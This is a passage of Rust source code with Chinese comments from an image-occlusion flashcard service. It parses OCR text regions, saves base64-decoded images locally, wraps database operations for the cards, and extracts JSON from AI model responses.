.ok_or_else(|| AppError::validation(format!("第{}个区域缺少bbox字段", index)))?;
if bbox_array.len() != 4 {
return Err(AppError::validation(format!("第{}个区域的bbox格式错误，应该包含4个坐标值", index)));
}
let bbox = [
bbox_array[0].as_f64().unwrap_or(0.0) as f32,
bbox_array[1].as_f64().unwrap_or(0.0) as f32,
bbox_array[2].as_f64().unwrap_or(0.0) as f32,
bbox_array[3].as_f64().unwrap_or(0.0) as f32,
];
let confidence = region["confidence"]
.as_f64()
.unwrap_or(1.0) as f32;
text_regions.push(TextRegion {
text,
bbox,
confidence,
region_id: format!("region_{}", index),
});
}
Ok(text_regions)
}
/// 获取图片尺寸
fn get_image_dimensions(&self, image_base64: &str) -> Result<(u32, u32), AppError> {
let image_data = general_purpose::STANDARD.decode(image_base64)
.map_err(|e| AppError::validation(format!("base64解码失败: {}", e)))?;
let img = image::load_from_memory(&image_data)
.map_err(|e| AppError::validation(format!("图片加载失败: {}", e)))?;
Ok((img.width(), img.height()))
}
/// 保存图片到本地
fn save_image(&self, image_base64: &str) -> Result<String, AppError> {
let image_data = general_purpose::STANDARD.decode(image_base64)
.map_err(|e| AppError::validation(format!("base64解码失败: {}", e)))?;
// 创建图片目录
let app_data_dir = std::env::current_dir()
.map_err(|e| AppError::file_system(format!("获取当前目录失败: {}", e)))?
.join("app_data")
.join("images")
.join("occlusion");
std::fs::create_dir_all(&app_data_dir)
.map_err(|e| AppError::file_system(format!("创建图片目录失败: {}", e)))?;
// 生成文件名
let file_name = format!("{}.jpg", Uuid::new_v4());
let file_path = app_data_dir.join(&file_name);
// 保存图片
std::fs::write(&file_path, &image_data)
.map_err(|e| AppError::file_system(format!("保存图片失败: {}", e)))?;
Ok(file_path.to_string_lossy().to_string())
}
/// 保存卡片到数据库
fn save_card_to_database(&self, card: &ImageOcclusionCard) -> Result<(), AppError> {
self.db.save_image_occlusion_card(card)
.map_err(|e| AppError::database(format!("保存图片遮罩卡失败: {}", e)))
}
/// 获取所有图片遮罩卡
pub fn get_all_image_occlusion_cards(&self) -> Result<Vec<ImageOcclusionCard>, AppError> {
self.db.get_all_image_occlusion_cards()
.map_err(|e| AppError::database(format!("获取图片遮罩卡列表失败: {}", e)))
}
/// 根据ID获取图片遮罩卡
pub fn get_image_occlusion_card(&self, card_id: &str) -> Result<Option<ImageOcclusionCard>, AppError> {
self.db.get_image_occlusion_card_by_id(card_id)
.map_err(|e| AppError::database(format!("获取图片遮罩卡失败: {}", e)))
}
/// 更新图片遮罩卡
pub fn update_image_occlusion_card(&self, card: &ImageOcclusionCard) -> Result<(), AppError> {
self.db.update_image_occlusion_card(card)
.map_err(|e| AppError::database(format!("更新图片遮罩卡失败: {}", e)))
}
/// 删除图片遮罩卡
pub fn delete_image_occlusion_card(&self, card_id: &str) -> Result<(), AppError> {
self.db.delete_image_occlusion_card(card_id)
.map_err(|e| AppError::database(format!("删除图片遮罩卡失败: {}", e)))
}
/// 从AI响应中提取JSON内容，处理markdown格式和额外文本
fn extract_json_from_ai_response(&self, content: &str) -> Result<String, AppError> {
let content = content.trim();
// 方法1: 查找```json代码块
if let Some(start) = content.find("```json") {
let after_start = &content[start + 7..]; // 跳过```json
if let Some(end) = after_start.find("```") {
let json_part = after_start[..end].trim();
return Ok(json_part.to_string());
}
}
// 方法2: 查找普通```代码块（有时AI不会标记json）
if let Some(start) = content.find("```") {
let after_start = &content[start + 3..];
if let Some(end) = after_start.find("```") {
let potential_json = after_start[..end].trim();
// 验证这是否看起来像JSON
if potential_json.starts_with('{') && potential_json.ends_with('}') {
return Ok(potential_json.to_string());
}
}
}
// 方法3: 查找JSON对象（从第一个{到最后一个}）
if let Some(start) = content.find('{') {
if let Some(end) = content.rfind('}') {
if start < end {
let json_part = &content[start..=end];
return Ok(json_part.to_string());
}
}
}
// 方法4: 尝试按行分割，查找以{开头的行
for line in content.lines() {
let trimmed = line.trim();
if trimmed.starts_with('{') {
// 从这行开始，收集到对应的}结束
let from_here = &content[content.find(trimmed).unwrap()..];
if let Some(start) = from_here.find('{') {
if let Some(end) = from_here.rfind('}') {
if start < end {
let json_part = &from_here[start..=end];
return Ok(json_part.to_string());
}
}
}
}
}
// 如果所有方法都失败，返回错误
Err(AppError::validation(format!(
"无法从AI响应中提取有效的JSON内容。响应内容: {}",
content
)))
}
}
|
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